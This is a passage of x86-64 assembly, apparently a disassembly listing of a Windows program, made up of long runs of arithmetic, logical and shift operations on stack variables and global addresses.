add eax, ecx
mov word [rsp + 0x1a50], ax
movzx eax, byte [0x1402c9126]
movzx ecx, byte [rsp + 0x5c]
and eax, ecx
mov byte [rsp + 0x17f], al
movzx eax, byte [rsp + 0x194]
mov byte [rsp + 0x260], al
mov rax, qword [rsp + 0xba88]
mov rcx, qword [rsp + 0xbdd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd058]
mov qword [rcx], rax
lea rax, [0x1402c90a0]
mov qword [rsp + 0xf878], rax
mov rax, qword [rsp + 0xc650]
mov rcx, qword [rsp + 0xefa0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xee70]
mov qword [rcx], rax
lea rax, [rsp + 0x6dc0]
mov qword [rsp + 0xf880], rax
movzx eax, word [rsp + 0x1b40]
mov rcx, qword [rsp + 0xf488]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1b8c], ax
movzx eax, byte [rsp + 0x1aa]
mov rcx, qword [rsp + 0xcdd8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x1402c9210]
mov byte [rcx], al
mov rax, qword [rsp + 0xd738]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa0]
cdq
idiv ecx
mov byte [rsp + 0x21b], al
movzx eax, word [rsp + 0x17a4]
mov word [rsp + 0x1d08], ax
mov rax, qword [rsp + 0xf2a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc4]
shl eax, cl
mov byte [rsp + 0xbc], al
mov eax, dword [rsp + 0x6db0]
mov dword [rsp + 0x70bc], eax
mov rax, qword [rsp + 0xdb08]
mov rcx, qword [0x1402c7490]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdbc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf620]
mov rcx, qword [rsp + 0xc550]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd6d8], rax
mov eax, dword [rsp + 0x6d24]
mov dword [rsp + 0x70c0], eax
movzx eax, word [0x1402c97c0]
movzx ecx, word [rsp + 0x1608]
imul eax, ecx
mov rcx, qword [rsp + 0xcbf0]
mov word [rcx], ax
mov rax, qword [rsp + 0xec58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x129]
sub eax, ecx
mov byte [0x1402c74e3], al
mov rax, qword [0x1402c90f0]
movzx eax, word [rax]
mov word [rsp + 0x1d0c], ax
mov rax, qword [rsp + 0xcdc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe610]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c2c], ax
movzx eax, byte [rsp + 0x137]
movzx ecx, byte [rsp + 0x192]
sub eax, ecx
mov rcx, qword [rsp + 0xf538]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa9]
mov byte [rsp + 0x261], al
mov rax, qword [rsp + 0xf020]
mov rcx, qword [rsp + 0xcf78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd8e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc7f0]
mov qword [rsp + 0xf888], rax
mov rax, qword [rsp + 0xdd90]
mov rcx, qword [rsp + 0xeff8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6dd4], eax
lea rax, [rsp + 0x7060]
mov qword [rsp + 0xf890], rax
movzx eax, byte [rsp + 0x198]
mov byte [0x1402c916f], al
mov rax, qword [rsp + 0xccd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x165c]
add eax, ecx
mov word [rsp + 0x15c0], ax
mov rax, qword [rsp + 0xebd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfa0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x19c4], ax
movzx eax, byte [rsp + 0x217]
mov byte [rsp + 0x262], al
movsx eax, byte [rsp + 0x1f3]
movsx ecx, byte [rsp + 0x1ad]
and eax, ecx
mov byte [rsp + 0x10b], al
mov rax, qword [rsp + 0xf410]
mov rax, qword [rax]
mov qword [rsp + 0xf898], rax
mov rax, qword [rsp + 0xe530]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a08]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe0a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe828]
mov rcx, qword [rsp + 0xf5e8]
mov qword [rsp + 0xf8a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf8a0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xdd78]
mov qword [rcx], rax
lea rax, [rsp + 0x6af0]
mov qword [rsp + 0xf8a8], rax
movzx eax, word [rsp + 0x1ce4]
movzx ecx, word [rsp + 0x1678]
shl eax, cl
mov word [0x1402c74a8], ax
mov rax, qword [rsp + 0xbed8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x76]
or eax, ecx
mov rcx, qword [rsp + 0xc2b8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x228]
mov byte [rsp + 0x263], al
mov rax, qword [rsp + 0xc260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15f8]
add eax, ecx
mov rcx, qword [rsp + 0xc260]
mov word [rcx], ax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ad0], ax
lea rax, [rsp + 0xc7f0]
mov qword [rsp + 0xf8b0], rax
mov rax, qword [rsp + 0xd370]
mov rcx, qword [rsp + 0xc2d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xd2d8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6a2c]
mov dword [rsp + 0x70c4], eax
mov rax, qword [rsp + 0xc308]
mov rcx, qword [rsp + 0xd6a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xed18]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcea8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c755f], al
mov rax, qword [0x1402c9320]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a5c]
sub eax, ecx
mov word [rsp + 0x1768], ax
movzx eax, byte [rsp + 0x24c]
mov byte [rsp + 0x264], al
mov rax, qword [rsp + 0xbaf0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1668]
add eax, ecx
mov word [rsp + 0x16e8], ax
lea rax, [0x1402c75fc]
mov qword [rsp + 0xf8b8], rax
mov eax, dword [rsp + 0x6cf0]
mov ecx, dword [rsp + 0x6e8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6adc], eax
lea rax, [rsp + 0xc9c8]
mov qword [rsp + 0xf8c0], rax
mov rax, qword [rsp + 0xba00]
mov rcx, qword [rsp + 0xc258]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdef8], rax
mov rax, qword [rsp + 0xf778]
mov ecx, dword [rsp + 0x68f4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6de0], eax
mov rax, qword [rsp + 0xe1c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdff0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c9468]
mov byte [rcx], al
mov rax, qword [rsp + 0xe2d8]
movzx eax, word [rax]
mov word [rsp + 0x1d10], ax
mov rax, qword [rsp + 0xc798]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17b8]
xor eax, ecx
mov word [rsp + 0x17c0], ax
lea rax, [rsp + 0x244]
mov qword [rsp + 0xf8c8], rax
mov rax, qword [rsp + 0xcac0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x263]
sar eax, cl
mov rcx, qword [rsp + 0xd6f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xef78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbf18]
mov qword [rsp + 0xf8d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf8d0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xedb8]
mov dword [rcx], eax
lea rax, [rsp + 0x6ac4]
mov qword [rsp + 0xf8d8], rax
mov rax, qword [rsp + 0xdfa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeef0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xda20], rax
lea rax, [rsp + 0xe5f0]
mov qword [rsp + 0xf8e0], rax
mov rax, qword [rsp + 0xcf48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xf370]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c7562], al
movzx eax, word [0x1402c9168]
movzx ecx, word [rsp + 0x1610]
imul eax, ecx
mov word [rsp + 0x1930], ax
mov rax, qword [rsp + 0xea10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf440]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x237], al
movzx eax, word [rsp + 0x1c88]
mov word [rsp + 0x1d14], ax
movzx eax, word [rsp + 0x1ce8]
mov rcx, qword [rsp + 0xee58]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbd90]
mov word [rcx], ax
mov rax, qword [rsp + 0xe9d8]
mov eax, dword [rax]
mov dword [rsp + 0x70c8], eax
mov rax, qword [rsp + 0xc380]
mov rcx, qword [rsp + 0xec50]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7060], eax
mov rax, qword [rsp + 0xf128]
mov rcx, qword [rsp + 0xf7f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc6a8], rax
mov rax, qword [rsp + 0xd080]
mov rax, qword [rax]
mov qword [rsp + 0xf8e8], rax
lea rax, [rsp + 0x198c]
mov qword [0x1402c9868], rax
mov rax, qword [0x1402c90d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xead0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x230], al
lea rax, [rsp + 0x186]
mov qword [rsp + 0xf8f0], rax
movzx eax, word [rsp + 0x1784]
movzx ecx, word [rsp + 0x1980]
sub eax, ecx
mov word [rsp + 0x16ec], ax
lea rax, [0x1402c74ef]
mov qword [rsp + 0xf8f8], rax
mov rax, qword [rsp + 0xc078]
mov rcx, qword [rsp + 0xe500]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc2b0], rax
mov rax, qword [rsp + 0xf148]
mov rcx, qword [rsp + 0xd700]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc608], rax
mov rax, qword [rsp + 0xc978]
mov eax, dword [rax]
mov dword [rsp + 0x70cc], eax
mov rax, qword [rsp + 0xd8b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bd4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f94], eax
mov rax, qword [rsp + 0xdd40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xead0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1402c749f], al
movzx eax, word [rsp + 0x1b00]
mov word [rsp + 0x1d18], ax
mov rax, qword [rsp + 0xd690]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19e8]
shl eax, cl
mov word [rsp + 0x1a90], ax
mov rax, qword [rsp + 0xf078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x186]
or eax, ecx
mov rcx, qword [rsp + 0xc3b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xdde0]
movzx eax, word [rax]
mov word [rsp + 0x1d1c], ax
mov rax, qword [rsp + 0xcc88]
mov rcx, qword [rsp + 0xdaf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6a4c], eax
mov rax, qword [rsp + 0xd330]
mov rax, qword [rax]
mov qword [rsp + 0xf900], rax
mov rax, qword [rsp + 0xc268]
mov ecx, dword [rsp + 0x6d50]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc588]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf198]
mov rcx, qword [rsp + 0xf770]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdec0], rax
lea rax, [rsp + 0x24e]
mov qword [rsp + 0xf908], rax
lea rax, [0x1402c75b0]
mov qword [0x1402c9870], rax
movsx eax, word [rsp + 0x1710]
mov rcx, qword [rsp + 0xd868]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xedd0]
mov word [rcx], ax
lea rax, [rsp + 0x128]
mov qword [rsp + 0xf910], rax
movzx eax, word [rsp + 0x18a8]
movzx ecx, word [rsp + 0x1c60]
sub eax, ecx
mov rcx, qword [rsp + 0xe360]
mov word [rcx], ax
mov rax, qword [rsp + 0xedc0]
mov qword [rsp + 0xf918], rax
mov rax, qword [rsp + 0xf838]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ab8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcf08]
mov dword [rcx], eax
mov rax, qword [rsp + 0xca88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdec0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbda0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6bb0]
mov dword [rsp + 0x70d0], eax
movsx eax, word [rsp + 0x17d8]
movsx ecx, word [rsp + 0x1804]
add eax, ecx
mov word [rsp + 0x1658], ax
movzx eax, byte [rsp + 0x114]
mov rcx, qword [rsp + 0xd158]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c97a0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1cfc]
mov word [rsp + 0x1d20], ax
mov rax, qword [rsp + 0xc8d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdf98]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xf828]
mov byte [rcx], al
mov rax, qword [rsp + 0xe8d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbd]
shl eax, cl
mov rcx, qword [rsp + 0xe948]
mov byte [rcx], al
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov qword [rsp + 0xf920], rax
mov rax, qword [rsp + 0xccc8]
mov ecx, dword [rsp + 0x6ae4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6a44], eax
mov eax, dword [rsp + 0x6e8c]
mov dword [rsp + 0x70d4], eax
mov rax, qword [rsp + 0xf588]
movzx ecx, al
mov rax, qword [rsp + 0xbe78]
sar rax, cl
mov qword [rsp + 0xf6a0], rax
movzx eax, word [rsp + 0x1a04]
movzx ecx, word [rsp + 0x1708]
cdq
idiv ecx
mov word [rsp + 0x1bd8], ax
mov rax, qword [rsp + 0xe1c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
or eax, ecx
mov rcx, qword [0x1402c91e0]
mov byte [rcx], al
mov rax, qword [rsp + 0xe018]
movzx eax, word [rax]
mov word [rsp + 0x1d24], ax
mov rax, qword [rsp + 0xcae0]
movsx eax, word [rax]
mov rcx, qword [0x1402c94c0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x17d8], ax
mov rax, qword [rsp + 0xcd10]
movzx eax, byte [rax]
mov byte [rsp + 0x265], al
mov eax, dword [rsp + 0x6b7c]
mov ecx, dword [rsp + 0x6c94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xebc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xba88]
mov rcx, qword [rsp + 0xef30]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc480], rax
mov rax, qword [rsp + 0xcff8]
mov qword [rsp + 0xf928], rax
mov rax, qword [rsp + 0xe9b8]
mov rcx, qword [rsp + 0xcd30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7084], eax
movzx eax, byte [0x1402c9146]
mov byte [rsp + 0x266], al
movzx eax, byte [rsp + 0x242]
mov byte [0x1402c91a2], al
mov rax, qword [rsp + 0xc8a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b0c]
add eax, ecx
mov rcx, qword [rsp + 0xc528]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15c]
mov byte [rsp + 0x267], al
movzx eax, word [0x1402c7594]
movzx ecx, word [rsp + 0x1574]
add eax, ecx
mov word [rsp + 0x1ab0], ax
mov rax, qword [rsp + 0xce40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xad]
and eax, ecx
mov byte [rsp + 0x245], al
mov rax, qword [rsp + 0xc040]
mov rax, qword [rax]
mov qword [rsp + 0xf930], rax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xdc40]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd068]
mov qword [rcx], rax
lea rax, [rsp + 0x6d8c]
mov qword [rsp + 0xf938], rax
mov rax, qword [rsp + 0xe8a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a50], eax
movzx eax, word [rsp + 0x1c48]
movzx ecx, word [rsp + 0x1704]
add eax, ecx
mov word [0x1402c7520], ax
mov rax, qword [rsp + 0xbfe8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x89]
sar eax, cl
mov byte [rsp + 0x244], al
movzx eax, word [rsp + 0x17b4]
mov word [rsp + 0x1d28], ax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0xe8d0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc430]
mov byte [rcx], al
mov rax, qword [rsp + 0xe9d0]
movzx eax, word [rax]
mov word [rsp + 0x1d2c], ax
mov rax, qword [rsp + 0xf670]
movzx ecx, al
mov rax, qword [rsp + 0xdfc8]
shl rax, cl
mov qword [rsp + 0xdc70], rax
mov rax, qword [rsp + 0xee40]
mov rcx, qword [rsp + 0xe430]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd6a0], rax
mov eax, dword [rsp + 0x6d04]
mov dword [rsp + 0x70d8], eax
mov rax, qword [rsp + 0xc090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7070]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a40], eax
mov rax, qword [rsp + 0xc8e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1914]
sub eax, ecx
mov word [0x1402c763c], ax
movzx eax, byte [rsp + 0x1ec]
mov byte [rsp + 0x268], al
movzx eax, word [rsp + 0x1968]
movzx ecx, word [0x1402c7520]
add eax, ecx
mov word [rsp + 0x16ec], ax
mov rax, qword [rsp + 0xc9e8]
movzx eax, byte [rax]
mov byte [rsp + 0x269], al
movsx eax, byte [rsp + 0x1d2]
movsx ecx, byte [rsp + 0x1de]
add eax, ecx
mov byte [rsp + 0x144], al
mov rax, qword [rsp + 0xd6a8]
mov rcx, qword [rsp + 0xe990]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7064], eax
mov eax, dword [rsp + 0x6f90]
mov dword [rsp + 0x70dc], eax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc8d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xeef0], rax
mov rax, qword [rsp + 0xe740]
mov rax, qword [rax]
mov qword [rsp + 0xf940], rax
movsx eax, byte [rsp + 0xc6]
movsx ecx, byte [rsp + 0x1c7]
sub eax, ecx
mov byte [0x1402c74ae], al
mov rax, qword [rsp + 0xefb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
and eax, ecx
mov rcx, qword [rsp + 0xd4c8]
mov byte [rcx], al
movsx eax, word [0x1402c74fc]
mov rcx, qword [rsp + 0xe8f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1a18], ax
mov rax, qword [rsp + 0xcdc0]
movzx eax, word [rax]
mov word [rsp + 0x1d30], ax
movsx eax, word [rsp + 0x17fc]
movsx ecx, word [rsp + 0x1864]
xor eax, ecx
mov word [rsp + 0x198c], ax
mov rax, qword [rsp + 0xf608]
mov qword [rsp + 0xf948], rax
mov rax, qword [rsp + 0xcdc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe310]
mov qword [rsp + 0xf950], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf950]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xc400]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc628]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6c88]
shl eax, cl
mov dword [rsp + 0x6b6c], eax
mov eax, dword [0x1402c90a0]
mov dword [rsp + 0x70e0], eax
lea rax, [rsp + 0x17c]
mov qword [0x1402c9878], rax
movsx eax, word [rsp + 0x155c]
mov rcx, qword [rsp + 0xe0e0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xf760]
mov word [rcx], ax
lea rax, [0x1402c754f]
mov qword [rsp + 0xf958], rax
movzx eax, word [rsp + 0x1ae0]
mov rcx, qword [rsp + 0xe528]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc5d8]
mov word [rcx], ax
movsx eax, word [rsp + 0x1d0c]
mov rcx, qword [rsp + 0xc528]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xf788]
mov word [rcx], ax
lea rax, [rsp + 0x6994]
mov qword [rsp + 0xf960], rax
mov rax, qword [rsp + 0xe300]
mov rcx, qword [rsp + 0xf918]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xe290]
mov qword [rcx], rax
lea rax, [rsp + 0x6c04]
mov qword [rsp + 0xf968], rax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbd20]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcf78], rax
movzx eax, byte [rsp + 0xa3]
movzx ecx, byte [rsp + 0x59]
add eax, ecx
mov byte [0x1402c7563], al
mov rax, qword [rsp + 0xd490]
movzx eax, byte [rax]
mov byte [rsp + 0x26a], al
mov rax, qword [rsp + 0xcf70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd9e8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc398]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1c6]
mov rcx, qword [rsp + 0xf0c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x24d], al
lea rax, [rsp + 0x19b0]
mov qword [rsp + 0xf970], rax
mov rax, qword [rsp + 0xf110]
mov ecx, dword [rsp + 0x6da4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6af4], eax
mov rax, qword [rsp + 0xd150]
mov rax, qword [rax]
mov qword [rsp + 0xf978], rax
mov rax, qword [rsp + 0xec60]
mov rcx, qword [rsp + 0xd448]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd2f8], rax
mov eax, dword [rsp + 0x6eb0]
mov ecx, dword [rsp + 0x69c8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x69c4], eax
movzx eax, word [rsp + 0x1c00]
movzx ecx, word [rsp + 0x1950]
sar eax, cl
mov rcx, qword [0x1402c9430]
mov word [rcx], ax
lea rax, [rsp + 0x208]
mov qword [rsp + 0xf980], rax
movsx eax, byte [rsp + 0xbe]
movsx ecx, byte [rsp + 0x259]
shl eax, cl
mov rcx, qword [rsp + 0xf6e0]
mov byte [rcx], al
lea rax, [rsp + 0x168c]
mov qword [rsp + 0xf988], rax
mov rax, qword [rsp + 0xcad8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x119]
xor eax, ecx
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0xd658]
mov rcx, qword [rsp + 0xd4f0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xf1d0], rax
mov rax, qword [rsp + 0xcf78]
mov qword [rsp + 0xf990], rax
mov rax, qword [rsp + 0xeb18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6cc8], eax
mov rax, qword [rsp + 0xc3e8]
mov eax, dword [rax]
mov dword [rsp + 0x70e4], eax
lea rax, [rsp + 0x17dc]
mov qword [0x1402c9880], rax
movsx eax, word [rsp + 0x15d4]
movsx ecx, word [rsp + 0x197c]
add eax, ecx
mov word [rsp + 0x165c], ax
movsx eax, byte [0x1402c7526]
movsx ecx, byte [rsp + 0x169]
and eax, ecx
mov rcx, qword [rsp + 0xe868]
mov byte [rcx], al
movzx eax, word [rsp + 0x1b3c]
mov word [rsp + 0x1d34], ax
movzx eax, byte [rsp + 0x229]
mov rcx, qword [rsp + 0xcdd8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1f9], al
mov rax, qword [rsp + 0xe8f8]
mov eax, dword [rax]
mov dword [rsp + 0x70e8], eax
mov rax, qword [rsp + 0xf1e8]
mov rcx, qword [rsp + 0xe150]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xe808], rax
mov eax, dword [rsp + 0x6a34]
mov dword [rsp + 0x70ec], eax
mov rax, qword [rsp + 0xe308]
mov rcx, qword [rsp + 0xd270]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xde00], rax
movsx eax, word [rsp + 0x1c4c]
mov rcx, qword [rsp + 0xd8d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1aac], ax
movsx eax, byte [rsp + 0x16b]
mov rcx, qword [rsp + 0xf370]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [reloc.SHELL32.dll_PathYetAnotherMakeUniqueName], al
movzx eax, byte [0x1402c7557]
mov byte [rsp + 0x26b], al
movzx eax, word [rsp + 0x18b4]
movzx ecx, word [rsp + 0x1a04]
sub eax, ecx
mov rcx, qword [rsp + 0xf250]
mov word [rcx], ax
mov rax, qword [rsp + 0xf1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x26c], al
mov rax, qword [rsp + 0xf8b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf888]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd4f0], rax
mov eax, dword [rsp + 0x6fac]
mov ecx, dword [rsp + 0x6dd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c50], eax
mov eax, dword [rsp + 0x6b2c]
mov dword [rsp + 0x70f0], eax
mov rax, qword [rsp + 0xca50]
mov rcx, qword [rsp + 0xc2d8]
mov qword [rsp + 0xf998], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf998]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xd838]
mov qword [rcx], rax
lea rax, [rsp + 0x1630]
mov qword [rsp + 0xf9a0], rax
movzx eax, word [rsp + 0x1d20]
movzx ecx, word [rsp + 0x19b8]
or eax, ecx
mov word [0x1402c9278], ax
mov rax, qword [rsp + 0xf2a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0xf0e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd7a8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc058]
mov byte [rcx], al
movzx eax, byte [rsp + 0x250]
mov byte [rsp + 0x26d], al
mov rax, qword [rsp + 0xbdd8]
mov rcx, qword [rsp + 0xd340]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xe0f0]
mov dword [rcx], eax
lea rax, [rsp + 0xbe30]
mov qword [rsp + 0xf9a8], rax
mov rax, qword [rsp + 0xd8c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bc0], eax
mov rax, qword [rsp + 0xf7e8]
mov rax, qword [rax]
mov qword [rsp + 0xf9b0], rax
mov rax, qword [rsp + 0xed90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1950]
sub eax, ecx
mov word [rsp + 0x15a4], ax
movzx eax, word [rsp + 0x1a98]
mov word [0x1402c9888], ax
movsx eax, byte [0x1402c7562]
mov rcx, qword [rsp + 0xd6c0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x14a], al
movzx eax, byte [rsp + 0x114]
mov byte [rsp + 0x26e], al
mov rax, qword [rsp + 0xed10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbca0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d00], ax
mov rax, qword [rsp + 0xce00]
mov eax, dword [rax]
mov dword [rsp + 0x70f4], eax
mov rax, qword [rsp + 0xe300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd698]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc128], rax
mov rax, qword [rsp + 0xc258]
mov rcx, qword [rsp + 0xd3c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdab0], rax
mov rax, qword [rsp + 0xbd68]
mov eax, dword [rax]
mov dword [rsp + 0x70f8], eax
movzx eax, word [rsp + 0x16d4]
movzx ecx, word [rsp + 0x16b0]
add eax, ecx
mov rcx, qword [rsp + 0xebf8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1534]
mov rcx, qword [rsp + 0xd9b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c7640], ax
lea rax, [rsp + 0x1ca]
